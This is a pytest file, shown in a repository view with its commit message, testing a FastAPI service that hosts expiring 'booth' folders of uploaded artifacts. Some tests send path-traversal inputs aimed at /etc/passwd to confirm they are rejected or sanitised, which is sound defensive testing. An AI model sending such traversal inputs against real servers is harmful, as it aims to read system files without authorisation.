Files
booth/tests/test_booth.py
T
vh 091f4b5f2d feat(dates): creation and update times for every booth, from the filesystem
The operator: "I think I want creation and update dates on the booths now too."

UPDATE was already there — `landed_at`, the newest mtime among CONTENT
excluding our own machinery, which the Desk already sorts "new since you looked"
by.

CREATION had no honest source. `.booth.json` carries a declared `created`, but
only for booths posted through the CLI since U5 — TWELVE OF THIRTY live booths
had none. Every alternative was a guess wearing a fact's clothes: oldest content
mtime is wrong the moment an agent copies files with timestamps preserved;
directory mtime is just "last thing added", which is landed_at renamed; and
stamping a first-seen marker on read is the same write-on-read shape that spent
an hour of today aging the booth it cached.

ext4 records a real birth time. CPython does not expose st_birthtime on Linux,
so booth/birthtime.py reads it through statx(2) — a fact the disk already holds
rather than one we invent. Verified against stat(1) on live booths, 6 of 6
exact, including every booth with no manifest. ONE rule for all thirty, which is
what invariant 6 asks of anything statable in a line.

None when the filesystem cannot say (tmpfs, NFS, an old kernel), and None
renders as nothing — the honest output when nobody knows. Never raises:
list_booths calls it once per booth on every index load, so a read that can
raise is a service-wide outage wearing a single-booth bug's clothes.

ALSO TWO REAL TEST-HARNESS DEFECTS, found chasing a flake and fixed on their
merits rather than because they were proven to be the cause:

- The keyboard-flag browser test fired ArrowRight and `f` back to back,
  assuming the first had finished — and focus() does a scrollIntoView, so under
  load `f` could arrive with no cursor and flag nothing. It now waits for the
  cursor to land.
- BOTH browser fixtures did bind -> getsockname -> CLOSE -> hand uvicorn the
  port NUMBER, leaving a window for the kernel to give that port to somebody
  else. This suite runs two browser files that each start a server per test, so
  the competitor is right there. The bound socket is now handed over directly.

⚠ THE FLAKE IS NOT PROVEN FIXED. Two different browser tests failed once each
across full-suite runs while passing 3/3 and 5/5 in isolation; since the fixes,
one failure in three runs. n=3 cannot distinguish that from the prior rate and
this commit does not claim it does.

770 green on a clean run.
2026-09-23 17:48:30 -07:00

1781 lines
64 KiB
Python
Raw Blame History

This file contains invisible Unicode characters
This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
import os
import pathlib
import re
import time
import pytest
from fastapi.testclient import TestClient
from booth.app import (
LINKS_FILE,
PINS_FILE,
link_entry_id,
order_for_display,
parse_link_entries,
read_pins,
remove_link_entry,
toggle_pin,
booth_age_seconds,
EMBED_SCRIPT_TAG,
KEEP_MARKER,
build_gallery,
classify,
create_app,
doc_kind,
generate_pickup_id,
human_dur,
is_expired,
is_kept,
list_booths,
render_doc,
safe_upload_name,
sweep_once,
)
PICKUP_RE = re.compile(r"^(\d{1,2}-[a-z]+|[a-z]+-\d{1,2})$")
# ---- pure helpers -----------------------------------------------------------
def test_classify():
assert classify("a.PNG") == "image"
assert classify("clip.webm") == "video"
assert classify("v.mp4") == "video"
assert classify("song.mp3") == "audio"
assert classify("notes.txt") == "other"
assert classify("archive.tar.gz") == "other"
def test_human_dur():
assert human_dur(0) == "expired"
assert human_dur(-5) == "expired"
assert human_dur(30) == "<1m"
assert human_dur(90) == "1m"
assert human_dur(3600) == "1h"
assert human_dur(3660) == "1h 1m"
def _touch(path, when=None):
path.parent.mkdir(parents=True, exist_ok=True)
path.write_bytes(b"x")
if when is not None:
os.utime(path, (when, when))
def test_is_expired_uses_newest_mtime(tmp_path):
booth = tmp_path / "b"
_touch(booth / "old.png", when=time.time() - 10_000)
# freshly touched second file keeps the booth alive despite the old one
_touch(booth / "new.png")
assert not is_expired(booth, ttl_seconds=3600)
old = tmp_path / "stale"
t = time.time() - 10_000
_touch(old / "x.png", when=t)
os.utime(old, (t, t))
assert is_expired(old, ttl_seconds=3600)
def test_sweep_only_removes_expired(tmp_path):
fresh = tmp_path / "fresh"
_touch(fresh / "a.png")
old = tmp_path / "old"
t = time.time() - 10_000
_touch(old / "a.png", when=t)
os.utime(old, (t, t))
dotdir = tmp_path / ".control"
t2 = time.time() - 10_000
dotdir.mkdir()
os.utime(dotdir, (t2, t2))
wiped = sweep_once(tmp_path, ttl_seconds=3600)
assert wiped == ["old"]
assert fresh.exists()
assert not old.exists()
assert dotdir.exists() # dotfolders are never swept
def test_build_gallery_folds_caption_sidecars(tmp_path):
booth = tmp_path / "b"
_touch(booth / "a.png")
(booth / "a.txt").write_text("variant A: cudaMalloc")
_touch(booth / "b.png")
(booth / "b.png.txt").write_text("variant B: cudaMallocAsync")
_touch(booth / "loose.txt") # no media partner -> shown as its own item
items = build_gallery(booth)
by_name = {it["name"]: it for it in items}
assert by_name["a.png"]["caption"] == "variant A: cudaMalloc"
assert by_name["b.png"]["caption"] == "variant B: cudaMallocAsync"
assert "a.txt" not in by_name and "b.png.txt" not in by_name
assert "loose.txt" in by_name # a caption with nothing to caption stays visible
# ---- inline doc rendering ---------------------------------------------------
#
# .md / .txt / .log docs render INLINE in the gallery (collapsible), not as a
# clumsy link to a separate page. build_gallery pre-renders the content so the
# template stays logicless.
def test_build_gallery_prerenders_markdown_inline(tmp_path):
booth = tmp_path / "b"
booth.mkdir()
(booth / "report.md").write_text("# Title\n\nsome **bold** text\n")
it = next(i for i in build_gallery(booth) if i["name"] == "report.md")
assert it["doc"] == "markdown"
assert it["rendered_html"] is True
assert "<h1>Title</h1>" in it["rendered"]
assert "<strong>bold</strong>" in it["rendered"]
def test_build_gallery_prerenders_text_as_raw(tmp_path):
booth = tmp_path / "b"
booth.mkdir()
(booth / "notes.txt").write_text("plain <not html> line")
it = next(i for i in build_gallery(booth) if i["name"] == "notes.txt")
assert it["doc"] == "text"
assert it["rendered_html"] is False
# Raw text is NOT pre-escaped here — the template escapes it inside <pre>.
# Pre-escaping plus template autoescape would double-encode the angle brackets.
assert it["rendered"] == "plain <not html> line"
def test_build_gallery_oversize_doc_is_not_inlined(tmp_path):
booth = tmp_path / "b"
booth.mkdir()
big = "x" * (2 * 1024 * 1024 + 10) # over DOC_MAX_BYTES
(booth / "huge.log").write_text(big)
it = next(i for i in build_gallery(booth) if i["name"] == "huge.log")
assert it["doc"] == "text"
assert it["rendered"] is None # too big to inline; template falls back to a link
def test_non_doc_item_has_no_rendered_field(tmp_path):
booth = tmp_path / "b"
_touch(booth / "shot.png")
it = next(i for i in build_gallery(booth) if i["name"] == "shot.png")
assert it["doc"] is None
assert it["rendered"] is None
def test_booth_page_renders_markdown_inline_collapsible(client):
c, data = client
(data / "run1").mkdir()
(data / "run1" / "brief.md").write_text("# Heading\n\nbody line\n")
html = c.get("/b/run1/").text
# rendered inline, inside a native <details> disclosure — no navigation
assert "<details" in html
assert "<h1>Heading</h1>" in html
# and the raw-file link is still available for download / full view
assert "brief.md" in html
def test_booth_page_inlines_txt_without_double_escaping(client):
c, data = client
(data / "run1").mkdir()
(data / "run1" / "log.txt").write_text("value <x> & <y>")
html = c.get("/b/run1/").text
# exactly one level of HTML-escaping (template autoescape inside <pre>),
# not the double-encoding that pre-escaping in Python would produce
assert "value &lt;x&gt; &amp; &lt;y&gt;" in html
assert "&amp;lt;" not in html
# ---- HTTP surface -----------------------------------------------------------
@pytest.fixture
def client(tmp_path):
app = create_app(tmp_path, ttl_hours=24, start_sweeper=False)
return TestClient(app), tmp_path
def test_index_empty(client):
c, _ = client
r = c.get("/")
assert r.status_code == 200
assert "No booths yet" in r.text
def test_index_lists_booth(client):
c, data = client
_touch(data / "run1" / "a.png")
r = c.get("/")
assert r.status_code == 200
assert "run1" in r.text
def test_booth_autogallery_renders_media(client):
c, data = client
_touch(data / "run1" / "shot.png")
r = c.get("/b/run1/")
assert r.status_code == 200
assert "<img" in r.text
assert "shot.png" in r.text
def test_booth_serves_own_index_html(client):
c, data = client
d = data / "custom"
d.mkdir()
(d / "index.html").write_text("<h1>MY CUSTOM REPORT</h1>")
r = c.get("/b/custom/")
assert r.status_code == 200
assert "MY CUSTOM REPORT" in r.text
def test_booth_serves_file(client):
c, data = client
(data / "run1").mkdir()
(data / "run1" / "a.bin").write_bytes(b"\x00\x01payload")
r = c.get("/b/run1/a.bin")
assert r.status_code == 200
assert r.content == b"\x00\x01payload"
def test_booth_zip_download(client):
# a verbatim index.html booth (no per-file chrome) is still downloadable as a zip
c, data = client
d = data / "brief"
d.mkdir()
(d / "index.html").write_text("<h1>BRIEF</h1>")
(d / "notes.md").write_text("# notes")
r = c.get("/b/brief/?download=1")
assert r.status_code == 200
assert r.headers["content-type"] == "application/zip"
assert "attachment" in r.headers["content-disposition"]
assert "brief.zip" in r.headers["content-disposition"]
import io as _io
import zipfile as _zip
assert set(_zip.ZipFile(_io.BytesIO(r.content)).namelist()) == {"index.html", "notes.md"}
def test_booth_file_force_download(client):
# ?dl=1 forces attachment so html/md/text saves instead of rendering inline
c, data = client
d = data / "brief"
d.mkdir()
(d / "index.html").write_text("<h1>BRIEF</h1>")
r = c.get("/b/brief/index.html")
assert "attachment" not in r.headers.get("content-disposition", "")
r2 = c.get("/b/brief/index.html?dl=1")
assert r2.status_code == 200
assert "attachment" in r2.headers["content-disposition"]
assert "index.html" in r2.headers["content-disposition"]
def test_missing_booth_404(client):
c, _ = client
assert c.get("/b/nope/").status_code == 404
def test_traversal_rejected(client):
c, data = client
(data / "run1").mkdir()
# a name with a slash or .. can never resolve to a direct child
assert c.get("/b/..%2f..%2fetc/").status_code == 404
assert c.get("/b/run1/../../../etc/passwd").status_code == 404
def test_delete_form_wipes(client):
c, data = client
_touch(data / "run1" / "a.png")
r = c.post("/b/run1/delete", follow_redirects=False)
assert r.status_code == 303
assert not (data / "run1").exists()
def test_delete_api_wipes(client):
c, data = client
_touch(data / "run1" / "a.png")
r = c.request("DELETE", "/b/run1")
assert r.status_code == 200
assert r.json() == {"wiped": "run1"}
assert not (data / "run1").exists()
def test_healthz(client):
c, data = client
_touch(data / "run1" / "a.png")
r = c.get("/healthz")
assert r.status_code == 200
body = r.json()
assert body["ok"] is True and body["booths"] == 1
# ---- uploads / pickup -------------------------------------------------------
def test_generate_pickup_id_format():
for _ in range(100):
pid = generate_pickup_id(lambda n: False)
assert PICKUP_RE.match(pid), pid
def test_generate_pickup_id_avoids_collision():
taken = {"4-wombat", "star-84"}
for _ in range(50):
pid = generate_pickup_id(lambda n: n in taken)
assert pid not in taken
def test_safe_upload_name():
assert safe_upload_name("../../etc/passwd", "fb") == "passwd"
assert safe_upload_name("C:\\Users\\x\\shot.png", "fb") == "shot.png"
assert safe_upload_name("", "fb") == "fb"
assert safe_upload_name(" ", "fb") == "fb"
assert safe_upload_name(".hidden", "fb") == "hidden"
assert safe_upload_name("...", "fb") == "fb"
def _upload(client, files):
return client.post("/upload", files=files, follow_redirects=False)
def test_upload_creates_pickup_booth(client):
c, data = client
r = _upload(c, [
("files", ("a.png", b"\x89PNG\r\n\x1a\n" + b"0" * 20, "image/png")),
("files", ("notes.txt", b"pick me up", "text/plain")),
])
assert r.status_code == 303
loc = r.headers["location"]
pid = loc.split("/b/")[1].rstrip("/")
assert PICKUP_RE.match(pid), pid
booth = data / pid
assert (booth / "a.png").is_file()
assert (booth / "notes.txt").read_bytes() == b"pick me up"
assert (booth / ".uploaded").is_file() # marker present
def test_upload_booth_renders_pickup_ui(client):
c, data = client
r = _upload(c, [("files", ("shot.png", b"\x89PNG" + b"0" * 30, "image/png"))])
pid = r.headers["location"].split("/b/")[1].rstrip("/")
page = c.get(f"/b/{pid}/")
assert page.status_code == 200
assert "pickup" in page.text.lower() # badge / note
assert 'download' in page.text # per-item download link
# and it shows up flagged as an upload on the index
assert pid in c.get("/").text
def test_upload_sanitizes_traversal(client):
c, data = client
r = _upload(c, [("files", ("../../../etc/passwd", b"x", "text/plain"))])
pid = r.headers["location"].split("/b/")[1].rstrip("/")
booth = data / pid
assert (booth / "passwd").is_file() # basename only
assert not (data.parent / "passwd").exists() # nothing escaped upward
def test_upload_rejects_too_many_files(tmp_path):
app = create_app(tmp_path, start_sweeper=False, max_files=2)
c = TestClient(app)
files = [("files", (f"f{i}.txt", b"x", "text/plain")) for i in range(3)]
r = c.post("/upload", files=files, follow_redirects=False)
assert r.status_code == 413
# no partial booth left behind
assert list(tmp_path.iterdir()) == []
def test_upload_rejects_too_large(tmp_path):
app = create_app(tmp_path, start_sweeper=False, max_upload_mb=0.0001) # ~104 bytes
c = TestClient(app)
r = c.post(
"/upload",
files=[("files", ("big.bin", b"0" * 500, "application/octet-stream"))],
follow_redirects=False,
)
assert r.status_code == 413
assert list(tmp_path.iterdir()) == [] # partial write cleaned up
def test_upload_dedupes_repeated_names(client):
c, data = client
r = _upload(c, [
("files", ("shot.png", b"a" * 10, "image/png")),
("files", ("shot.png", b"b" * 10, "image/png")),
])
pid = r.headers["location"].split("/b/")[1].rstrip("/")
names = sorted(p.name for p in (data / pid).iterdir() if not p.name.startswith("."))
assert names == ["shot-1.png", "shot.png"]
# ---- image viewer -----------------------------------------------------------
def test_image_view_renders(client):
c, data = client
_touch(data / "run1" / "shot.png")
r = c.get("/b/run1/view", params={"f": "shot.png"})
assert r.status_code == 200
assert 'id="vstage"' in r.text # the viewer stage
assert ">Fit<" in r.text and ">1:1<" in r.text
assert "shot.png" in r.text
def test_gallery_image_links_to_viewer(client):
c, data = client
_touch(data / "run1" / "shot.png")
page = c.get("/b/run1/")
assert "view?f=shot.png" in page.text # gallery routes images to the viewer, not the raw file
def test_image_view_missing_404(client):
c, data = client
(data / "run1").mkdir()
assert c.get("/b/run1/view", params={"f": "nope.png"}).status_code == 404
def test_image_view_traversal_404(client):
c, data = client
(data / "run1").mkdir()
assert c.get("/b/run1/view", params={"f": "../../etc/passwd"}).status_code == 404
def test_view_nonviewable_redirects_to_raw(client):
c, data = client
_touch(data / "run1" / "data.bin") # not image/md/txt -> nothing to render, hand back raw
r = c.get("/b/run1/view", params={"f": "data.bin"}, follow_redirects=False)
assert r.status_code == 307
assert r.headers["location"] == "/b/run1/data.bin"
# ---- verbatim-index.html serving -------------------------------------------
#
# U3 replaced the injection wrapper with a declared seam. The five `test_wrap_*`
# tests and `test_verbatim_booth_wrapped_with_back_chip` that stood here tested
# `wrap_verbatim_html` — six regexes hunting a head-ish seam for a favicon and a
# body-ish seam for a chip, plus the doctype and charset-window constraints they
# threaded. None of those constraints can be violated by an append, so there is
# nothing left of them to assert. What replaced them lives in tests/test_embed.py
# (the payload, the one appended tag, whole-body equality for a declaring page)
# and tests/test_embed_browser.py (the mount, in a real DOM).
#
# What stays here is what did NOT change: the file route is still raw.
def test_verbatim_booth_is_served_with_the_seam(client):
c, data = client
d = data / "brief"
d.mkdir()
(d / "index.html").write_text("<html><head></head><body><h1>BRIEF</h1></body></html>")
r = c.get("/b/brief/")
assert r.status_code == 200
assert "BRIEF" in r.text # content preserved
assert r.text.endswith(EMBED_SCRIPT_TAG) # ...and the seam, appended
def test_verbatim_index_raw_file_route_unwrapped(client):
# the file route (/b/<name>/index.html) still serves the raw bytes — the seam
# only rides on the booth view (/b/<name>/), so downloads/assets stay verbatim
c, data = client
d = data / "brief"
d.mkdir()
(d / "index.html").write_text("<html><body><h1>BRIEF</h1></body></html>")
r = c.get("/b/brief/index.html")
assert r.status_code == 200
assert "_booth/embed.js" not in r.text
# ---- .md / .txt in-booth doc viewer -----------------------------------------
def test_doc_kind():
assert doc_kind("notes.md") == "markdown"
assert doc_kind("a.markdown") == "markdown"
assert doc_kind("log.txt") == "text"
assert doc_kind("run.log") == "text"
assert doc_kind("shot.png") is None
assert doc_kind("data.bin") is None
def test_render_doc_markdown():
html, is_html = render_doc("# Title\n\n- a\n- b\n", "markdown")
assert is_html is True
assert "<h1>" in html and "Title" in html
assert "<li>" in html
def test_render_doc_text_is_verbatim():
body, is_html = render_doc("plain\ntext", "text")
assert is_html is False and body == "plain\ntext"
def test_view_markdown_renders(client):
c, data = client
d = data / "run1"; d.mkdir()
(d / "notes.md").write_text("# Heading\n\nsome **bold** text\n")
r = c.get("/b/run1/view", params={"f": "notes.md"})
assert r.status_code == 200
assert "<h1>" in r.text and "Heading" in r.text # rendered, not raw markdown
assert "<strong>bold</strong>" in r.text
assert "attachment" not in r.headers.get("content-disposition", "") # viewed, not downloaded
def test_view_text_shows_preformatted(client):
c, data = client
d = data / "run1"; d.mkdir()
(d / "out.txt").write_text("line one\nline two")
r = c.get("/b/run1/view", params={"f": "out.txt"})
assert r.status_code == 200
assert "<pre" in r.text and "line one" in r.text
assert "attachment" not in r.headers.get("content-disposition", "")
def test_gallery_inlines_docs_with_fullpage_and_download_affordances(client):
# Docs now render INLINE in the gallery (see the inline-doc tests above),
# not as a link. The full-page viewer stays reachable via the ⤢ affordance,
# and the raw file via a download link — but the doc content itself is on
# the page, not behind a click.
c, data = client
d = data / "run1"; d.mkdir()
(d / "readme.md").write_text("# hi")
(d / "notes.txt").write_text("hello") # loose txt (no media partner) -> own item
page = c.get("/b/run1/").text
assert "<h1>hi</h1>" in page # md rendered inline
assert "hello" in page # txt shown inline
assert "view?f=readme.md" in page # full-page viewer still linked (⤢)
assert 'href="readme.md" download' in page # download affordance present
# ---- image viewer prev/next nav ---------------------------------------------
def test_view_image_prev_next_nav(client):
c, data = client
d = data / "run1"; d.mkdir()
for n in ("a.png", "b.png", "c.png"):
_touch(d / n)
r = c.get("/b/run1/view", params={"f": "b.png"}) # middle -> prev=a, next=c
assert r.status_code == 200
assert 'class="vnav vprev" href="?f=a.png"' in r.text
assert 'class="vnav vnext" href="?f=c.png"' in r.text
def test_view_image_nav_wraps(client):
c, data = client
d = data / "run1"; d.mkdir()
for n in ("a.png", "b.png", "c.png"):
_touch(d / n)
first = c.get("/b/run1/view", params={"f": "a.png"}).text
assert 'vprev" href="?f=c.png"' in first and 'vnext" href="?f=b.png"' in first # first wraps prev->last
last = c.get("/b/run1/view", params={"f": "c.png"}).text
assert 'vnext" href="?f=a.png"' in last and 'vprev" href="?f=b.png"' in last # last wraps next->first
def test_view_single_image_no_nav(client):
c, data = client
d = data / "run1"; d.mkdir()
_touch(d / "only.png")
r = c.get("/b/run1/view", params={"f": "only.png"})
assert r.status_code == 200
# no arrow anchors with a single image (the .vnav CSS rule is always present)
assert 'class="vnav vprev"' not in r.text and 'class="vnav vnext"' not in r.text
# ---- kept booths: the `.forever` sentinel -----------------------------------
#
# The Booth's whole contract is "wiped 24h after last activity". A kept booth is
# the deliberate exception: an operator-facing board (agent-posted links, a
# standing report) that must outlive the sweep and stay separated from the
# ephemeral traffic so it does not get lost in it.
def _stale(path, seconds=10_000):
"""Age a booth and everything in it well past any test TTL."""
t = time.time() - seconds
for p in sorted(path.rglob("*"), reverse=True):
os.utime(p, (t, t))
os.utime(path, (t, t))
def test_is_kept_detects_the_sentinel(tmp_path):
plain = tmp_path / "plain"
plain.mkdir()
kept = tmp_path / "kept"
_touch(kept / KEEP_MARKER)
assert not is_kept(plain)
assert is_kept(kept)
def test_kept_booth_survives_the_sweep(tmp_path):
"""The point of the whole feature: expiry does not apply to a kept booth."""
doomed = tmp_path / "doomed"
_touch(doomed / "a.png")
_stale(doomed)
kept = tmp_path / "links"
_touch(kept / "a.png")
_touch(kept / KEEP_MARKER)
_stale(kept)
wiped = sweep_once(tmp_path, ttl_seconds=3600)
assert wiped == ["doomed"]
assert not doomed.exists()
assert kept.exists(), "a booth carrying the sentinel must never be swept"
def test_kept_booth_is_still_reported_expired_by_age(tmp_path):
"""is_expired stays a pure age question; only the sweeper honours the pin.
Keeping these separate means `expires_in` arithmetic and the reaper policy
cannot drift into each other.
"""
kept = tmp_path / "links"
_touch(kept / KEEP_MARKER)
_stale(kept)
assert is_expired(kept, ttl_seconds=3600)
assert sweep_once(tmp_path, ttl_seconds=3600) == []
def test_list_booths_flags_kept(tmp_path):
_touch(tmp_path / "ephemeral" / "a.png")
_touch(tmp_path / "links" / "a.png")
_touch(tmp_path / "links" / KEEP_MARKER)
by_name = {b["name"]: b for b in list_booths(tmp_path, ttl_seconds=3600)}
assert by_name["ephemeral"]["kept"] is False
assert by_name["links"]["kept"] is True
# ---- releasing a kept board so it can be deleted ---------------------------
#
# The kept lane deliberately has no wipe control: destroying a durable board
# should not be one misclick. But "deliberate" had been implemented as
# "impossible from the UI" — the only routes out were ssh or a hand-crafted
# API call. These endpoints make the documented workflow (drop the sentinel,
# the board rejoins the sweep, then wipe it like anything else) actually
# reachable, while keeping it two deliberate steps rather than one.
def test_unkeep_releases_a_kept_board(client):
c, data = client
_touch(data / "links" / "a.png")
_touch(data / "links" / KEEP_MARKER)
r = c.post("/b/links/unkeep", follow_redirects=False)
assert r.status_code == 303
assert not is_kept(data / "links"), "the sentinel must be gone"
assert (data / "links" / "a.png").exists(), "unkeep must not touch content"
def test_unkeep_is_idempotent_on_an_unkept_board(client):
"""Releasing something already released is a no-op, not a 500."""
c, data = client
_touch(data / "run1" / "a.png")
r = c.post("/b/run1/unkeep", follow_redirects=False)
assert r.status_code == 303
assert (data / "run1" / "a.png").exists()
def test_keep_pins_a_board_and_round_trips(client):
"""Reversible: the release step must not be a one-way door."""
c, data = client
_touch(data / "board" / "a.png")
assert c.post("/b/board/keep", follow_redirects=False).status_code == 303
assert is_kept(data / "board")
assert c.post("/b/board/unkeep", follow_redirects=False).status_code == 303
assert not is_kept(data / "board")
def test_keep_and_unkeep_go_through_the_same_name_guard(client):
"""Both mutating routes must use resolve_booth, not raw path joining.
A name containing a slash never reaches the handler at all (the router has
no matching path), so the interesting cases are the ones that DO reach it:
a dotfile name and a name that simply is not a booth. Both must 404 rather
than create a stray sentinel somewhere.
"""
c, data = client
for route in ("keep", "unkeep"):
assert c.post(f"/b/.hidden/{route}").status_code == 404
assert c.post(f"/b/nope/{route}").status_code == 404
assert not (data / ".hidden").exists(), "must not have created anything"
assert list(data.iterdir()) == [], "data dir untouched by rejected calls"
def test_releasing_a_board_RESETS_its_ttl_clock(tmp_path):
"""Counter-intuitive, and the reason release-then-sweep is not a delete path.
Removing the sentinel bumps the booth directory's mtime, and age is the
newest mtime in the tree — so a board that was 10,000s stale reads as 0s
old the instant it is released, and survives another full TTL. This test
pins that behaviour deliberately: anyone who "unkeeps and waits" is waiting
a fresh 24h, not reaping something already expired. Delete via the wipe
route instead, which release is what unlocks.
"""
kept = tmp_path / "links"
_touch(kept / "a.png")
_touch(kept / KEEP_MARKER)
_stale(kept)
assert sweep_once(tmp_path, ttl_seconds=3600) == [], "pinned: exempt"
assert booth_age_seconds(kept) > 3600
(kept / KEEP_MARKER).unlink()
# Unlinking the sentinel by hand, which is what this test is about: the
# directory-entry change is what moves the clock. Releasing through the
# ROUTE now also records a view, so the behaviour is stated rather than
# incidental — `test_releasing_a_board_RECORDS_A_VIEW` in test_lifetime.py.
assert booth_age_seconds(kept) < 60, "unlink bumped the dir mtime"
assert sweep_once(tmp_path, ttl_seconds=3600) == [], "so it is NOT swept yet"
assert kept.exists()
def test_released_board_is_sweepable_once_it_ages_again(tmp_path):
"""It does rejoin the sweep — just on a fresh clock, not the old one."""
released = tmp_path / "links"
_touch(released / "a.png")
_stale(released)
assert sweep_once(tmp_path, ttl_seconds=3600) == ["links"]
assert not released.exists()
def test_sentinel_is_not_counted_as_an_item(tmp_path):
"""It is a dotfile, so it must not inflate the item count or become a tile."""
_touch(tmp_path / "links" / "a.png")
_touch(tmp_path / "links" / KEEP_MARKER)
booth = next(b for b in list_booths(tmp_path, ttl_seconds=3600) if b["name"] == "links")
assert booth["count"] == 1
def test_index_marks_kept_on_the_row_instead_of_a_lane(client):
"""R2 C4 (docs/contracts/r2_flow.contract.md, "Assertions that change").
This test used to require a kept LANE rendered before the ephemeral grid.
The Desk removed the lanes — 23 of 24 live booths were kept, so they sorted
nothing — and orders by what needs the operator instead (tested in
tests/test_flow.py). What survives is the fact: a kept booth still says it
is kept, on its own row."""
c, data = client
_touch(data / "scratch" / "a.png")
_touch(data / "links" / "a.png")
_touch(data / "links" / KEEP_MARKER)
html = c.get("/").text
assert 'data-booth="links" data-kept="1"' in html
assert 'data-booth="scratch" data-kept="0"' in html
assert 'class="grid kept-grid"' not in html, "no lane: kept is a fact, not a grouping"
def test_kept_booth_shows_kept_instead_of_a_countdown(client):
c, data = client
_touch(data / "links" / "a.png")
_touch(data / "links" / KEEP_MARKER)
html = c.get("/").text
assert "expires in" not in html, "a kept booth has no expiry to advertise"
def test_index_without_kept_booths_omits_the_lane(client):
c, data = client
_touch(data / "scratch" / "a.png")
html = c.get("/").text
# The full attribute form, because the bare class names also appear in the
# inlined stylesheet that ships on every page.
assert 'class="grid kept-grid"' not in html, "the lane must not render when nothing is kept"
assert 'class="card card-kept"' not in html
# ---- the standing link board: per-entry removal -----------------------------
#
# The link board is the one MULTI-WRITER booth: every agent session appends to
# it. "Delete the folder" is the wrong granularity for a dead link, and until
# now it was the only option short of hand-editing the markdown.
_ROW = "- [{d}]({u}) <sub>· {w} · 2026-08-23 10:00</sub>"
def _board(tmp_path, *rows):
b = tmp_path / "links"
b.mkdir(parents=True, exist_ok=True)
(b / LINKS_FILE).write_text("".join(r + "\n" for r in rows))
return b
def test_parse_reads_description_url_and_provenance(tmp_path):
b = _board(tmp_path, _ROW.format(d="Booth", u="http://x/", w="infra-ops"))
e = parse_link_entries((b / LINKS_FILE).read_text())[0]
assert e["desc"] == "Booth"
assert e["url"] == "http://x/"
assert e["who"] == "infra-ops"
assert e["when"] == "2026-08-23 10:00"
def test_parse_tolerates_prose_around_the_rows(tmp_path):
"""The board is a plain markdown file the operator may edit by hand."""
b = _board(tmp_path, "# My board", "", _ROW.format(d="A", u="http://a/", w="x"),
"a note someone typed", _ROW.format(d="B", u="http://b/", w="y"))
e = parse_link_entries((b / LINKS_FILE).read_text())
assert [x["desc"] for x in e] == ["A", "B"]
def test_ids_are_content_addressed_not_positional(tmp_path):
"""The whole reason removal is by id: another session can append at any
moment, and an index would then point at a different row."""
row_a = _ROW.format(d="A", u="http://a/", w="x")
b = _board(tmp_path, row_a)
before = parse_link_entries((b / LINKS_FILE).read_text())[0]["id"]
# a concurrent session appends ABOVE nothing but shifts nothing either way
with (b / LINKS_FILE).open("a") as f:
f.write(_ROW.format(d="B", u="http://b/", w="y") + "\n")
after = {e["desc"]: e["id"] for e in parse_link_entries((b / LINKS_FILE).read_text())}
assert after["A"] == before, "an append must not change an existing row's id"
def test_remove_takes_exactly_the_named_row(tmp_path):
b = _board(tmp_path,
_ROW.format(d="keep me", u="http://a/", w="x"),
_ROW.format(d="kill me", u="http://b/", w="y"),
_ROW.format(d="keep me too", u="http://c/", w="z"))
target = next(e for e in parse_link_entries((b / LINKS_FILE).read_text())
if e["desc"] == "kill me")
removed = remove_link_entry(b, target["id"])
assert removed["desc"] == "kill me"
left = [e["desc"] for e in parse_link_entries((b / LINKS_FILE).read_text())]
assert left == ["keep me", "keep me too"]
def test_remove_reports_a_miss_rather_than_deleting_a_neighbour(tmp_path):
"""The failure mode that matters: a stale id must be a no-op, not a guess."""
b = _board(tmp_path, _ROW.format(d="only", u="http://a/", w="x"))
assert remove_link_entry(b, "deadbeef") is None
assert len(parse_link_entries((b / LINKS_FILE).read_text())) == 1
def test_remove_preserves_hand_written_prose(tmp_path):
b = _board(tmp_path, "# Board", _ROW.format(d="gone", u="http://a/", w="x"), "trailing note")
target = parse_link_entries((b / LINKS_FILE).read_text())[0]
remove_link_entry(b, target["id"])
text = (b / LINKS_FILE).read_text()
assert "# Board" in text and "trailing note" in text
assert "http://a/" not in text
def test_remove_on_a_board_with_no_file_is_a_no_op(tmp_path):
b = tmp_path / "links"
b.mkdir()
assert remove_link_entry(b, "whatever") is None
def test_unlink_endpoint_removes_one_row(client):
c, data = client
b = _board(data, _ROW.format(d="a", u="http://a/", w="x"),
_ROW.format(d="b", u="http://b/", w="y"))
target = parse_link_entries((b / LINKS_FILE).read_text())[1]
r = c.post("/b/links/unlink", data={"entry": target["id"]}, follow_redirects=False)
assert r.status_code == 303
assert [e["desc"] for e in parse_link_entries((b / LINKS_FILE).read_text())] == ["a"]
def test_unlink_endpoint_rejects_a_bad_booth(client):
c, _ = client
assert c.post("/b/nope/unlink", data={"entry": "x"}).status_code == 404
def _body(client_, path):
"""Rendered body only — the stylesheet mentions class names too."""
return client_.get(path).text.split("</style>")[-1]
def test_board_booth_renders_rows_not_a_markdown_blob(client):
c, data = client
_board(data, _ROW.format(d="A", u="http://a/", w="x"),
_ROW.format(d="B", u="http://b/", w="y"))
body = _body(c, "/b/links/")
assert body.count('class="board-row"') == 2
assert "/b/links/unlink" in body, "each row needs its own remove control"
assert 'class="gallery"' not in body, "links.md must not ALSO render as a doc tile"
def test_board_booth_does_not_claim_to_be_empty(client):
"""Filtering links.md out of the gallery leaves items empty — the empty
state must key on the board too, or a full board reads as an empty booth."""
c, data = client
_board(data, _ROW.format(d="A", u="http://a/", w="x"))
assert "is empty" not in _body(c, "/b/links/")
def test_board_booth_counts_links_not_files(client):
c, data = client
_board(data, _ROW.format(d="A", u="http://a/", w="x"),
_ROW.format(d="B", u="http://b/", w="y"))
assert "2 links" in _body(c, "/b/links/")
def test_board_booth_has_no_one_click_wipe(client):
"""Same rule as the kept lane: no single click destroys a durable board."""
c, data = client
_board(data, _ROW.format(d="A", u="http://a/", w="x"))
assert "Wipe now" not in _body(c, "/b/links/")
def test_ordinary_booths_are_untouched_by_the_board_branch(client):
c, data = client
_touch(data / "run1" / "a.png")
body = _body(c, "/b/run1/")
assert "Wipe now" in body
assert "1 item" in body
assert 'class="board-row"' not in body
def test_a_genuinely_empty_booth_still_says_so(client):
c, data = client
(data / "hollow").mkdir()
assert "is empty" in _body(c, "/b/hollow/")
# ---- the `booth` CLI: links / unlink ----------------------------------------
#
# Exercised as a subprocess because the bugs these pin were SHELL bugs, not
# Python ones — the module was correct throughout while the wrapper silently
# did nothing. Testing the module alone would have caught neither.
import subprocess
